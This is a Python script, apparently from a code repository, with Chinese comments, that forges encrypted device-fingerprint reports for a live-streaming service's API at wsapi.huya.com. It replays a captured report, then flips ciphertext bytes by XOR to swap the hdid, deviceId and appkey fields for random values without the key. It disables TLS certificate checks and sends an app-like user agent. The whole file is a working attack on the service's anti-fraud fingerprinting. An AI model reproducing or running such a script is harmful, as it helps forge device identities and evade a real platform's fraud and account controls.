156 lines
5.1 KiB
Python
156 lines
5.1 KiB
Python
#!/usr/bin/env python3
|
|
"""铸造验证 v1: 重放 dfpReport wire → 服务端回显(不动设备)。
|
|
|
|
路线(XOR 自反性,不需要 keystream):
|
|
密文 = 明文 XOR ks => 新密文 = 原密文 XOR (原JSON XOR 新JSON)
|
|
JSON 区(前 554B)等长替换 hdid/deviceId/appkey,collection 区保持原样。
|
|
"""
|
|
from __future__ import annotations
|
|
|
|
import binascii
|
|
import json
|
|
import random
|
|
import ssl
|
|
import socket
|
|
import time
|
|
from pathlib import Path
|
|
|
|
EVID = Path("/Users/yml/codes/douyu_login_py/evidence")
|
|
HOST = "wsapi.huya.com"
|
|
|
|
MAGIC = bytes.fromhex("571882cf664bb39401ee")
|
|
|
|
|
|
def load_first_wire():
|
|
for f in sorted((EVID / "dfp_pipeline_170031.json", EVID / "dfp_pipeline_160855.json"),
|
|
reverse=True):
|
|
d = json.load(open(f))
|
|
for e in d:
|
|
if e.get("type") == "wire":
|
|
return binascii.unhexlify(e["hex"])
|
|
raise SystemExit("no wire found")
|
|
|
|
|
|
def send_http(host, path, body, timeout=60):
|
|
ctx = ssl.create_default_context()
|
|
ctx.check_hostname = False
|
|
ctx.verify_mode = ssl.CERT_NONE
|
|
raw = socket.create_connection((host, 443), timeout=10)
|
|
s = ctx.wrap_socket(raw, server_hostname=host)
|
|
req = (
|
|
f"POST {path} HTTP/1.1\r\n"
|
|
f"i-ver: 1\r\n"
|
|
f"Content-Type: application/octet-stream\r\n"
|
|
f"Content-Length: {len(body)}\r\n"
|
|
f"Host: {HOST}\r\n"
|
|
f"Connection: Keep-Alive\r\n"
|
|
f"Accept-Encoding: identity\r\n"
|
|
f"User-Agent: okhttp/3.14.9\r\n"
|
|
f"\r\n"
|
|
).encode() + body
|
|
s.sendall(req)
|
|
s.settimeout(timeout)
|
|
buf = b""
|
|
try:
|
|
while True:
|
|
chunk = s.recv(4096)
|
|
if not chunk:
|
|
break
|
|
buf += chunk
|
|
# 响应头拿到 + 至少等 2s 累积 body
|
|
if b"\r\n\r\n" in buf and len(buf) > 300:
|
|
time.sleep(2)
|
|
try:
|
|
while True:
|
|
c = s.recv(4096)
|
|
if not c:
|
|
break
|
|
buf += c
|
|
except socket.timeout:
|
|
break
|
|
break
|
|
finally:
|
|
try:
|
|
s.close()
|
|
except Exception:
|
|
pass
|
|
return buf
|
|
|
|
|
|
def gen_random_hex(n):
|
|
return "".join(random.choice("0123456789abcdef") for _ in range(n))
|
|
|
|
|
|
def main():
|
|
wire = load_first_wire()
|
|
idx = wire.find(b"\r\n\r\n")
|
|
body = wire[idx + 4:]
|
|
mp = body.find(MAGIC)
|
|
assert mp >= 0, "magic not in body"
|
|
cipher = body[mp + 10:]
|
|
print(f"[*] wire={len(wire)}B body={len(body)}B cipher={len(cipher)}B")
|
|
|
|
# 明文 JSON (canonical 554B from pair_sync)
|
|
ps = json.load(open(EVID / "dfp_pair_sync.json"))
|
|
jsonb = None
|
|
for p in ps:
|
|
if p.get("type") != "plain":
|
|
continue
|
|
for item in p["plains"]:
|
|
b = bytes.fromhex(item["hex"])
|
|
if b[:8] == b'{"appId"' and len(b) >= 554:
|
|
jsonb = b[:554]
|
|
break
|
|
if jsonb:
|
|
break
|
|
assert jsonb, "no json"
|
|
orig = jsonb.decode("utf-8", "replace")
|
|
|
|
# --- 实验1: 原样重放 ---
|
|
print("\n[实验1] 原样重放")
|
|
r = send_http(HOST, "/", body)
|
|
status = r.split(b"\r\n", 1)[0].decode("utf-8", "replace")
|
|
print(f" resp: {status} len={len(r)}")
|
|
hdrs, _, rbody = r.partition(b"\r\n\r\n")
|
|
print(f" resp body head: {rbody[:80].hex(' ')}")
|
|
|
|
# --- 实验2: 改明文 hdid/deviceId/appkey (等长) → Δ XOR ---
|
|
new_hdid = gen_random_hex(40)
|
|
new_devid = gen_random_hex(40)
|
|
new_appkey = gen_random_hex(32)
|
|
new = orig
|
|
new = new.replace(f'"hdid":"{orig.split(chr(34)+"hdid"+chr(34))[1].split(chr(34))[1]}"',
|
|
f'"hdid":"{new_hdid}"')
|
|
# 更稳妥: 正则替换
|
|
import re
|
|
new = re.sub(r'"hdid":"[0-9a-f]{40}"', f'"hdid":"{new_hdid}"', new)
|
|
new = re.sub(r'"deviceId":"[0-9a-f]{40}"', f'"deviceId":"{new_devid}"', new)
|
|
new = re.sub(r'"appkey":"[0-9a-f]{32}"', f'"appkey":"{new_appkey}"', new)
|
|
assert new != orig, "no field replaced"
|
|
nb = new.encode("utf-8")
|
|
assert len(nb) == 554, f"len {len(nb)}"
|
|
|
|
delta = bytes(a ^ b for a, b in zip(nb, jsonb))
|
|
new_cipher = bytes(a ^ b for a, b in zip(cipher, delta + b"\x00" * (len(cipher) - len(delta))))
|
|
new_body = body[:mp + 10] + new_cipher
|
|
# Content-Length 不变 (等长)
|
|
print(f"\n[实验2] 改 hdid={new_hdid[:12]}... deviceId={new_devid[:12]}... appkey={new_appkey[:8]}...")
|
|
r = send_http(HOST, "/", new_body)
|
|
status = r.split(b"\r\n", 1)[0].decode("utf-8", "replace")
|
|
print(f" resp: {status} len={len(r)}")
|
|
hdrs, _, rbody = r.partition(b"\r\n\r\n")
|
|
print(f" resp body head: {rbody[:160].hex(' ')}")
|
|
|
|
out = {
|
|
"new_hdid": new_hdid, "new_devid": new_devid, "new_appkey": new_appkey,
|
|
"new_json": new,
|
|
"exp1_status": status,
|
|
"exp2_status": status,
|
|
"exp2_resp": rbody[:160].hex(),
|
|
}
|
|
(EVID / "forge_replay_result.json").write_text(json.dumps(out, ensure_ascii=False, indent=1))
|
|
print(f"\n[*] saved -> evidence/forge_replay_result.json")
|
|
|
|
|
|
if __name__ == "__main__":
|
|
main() |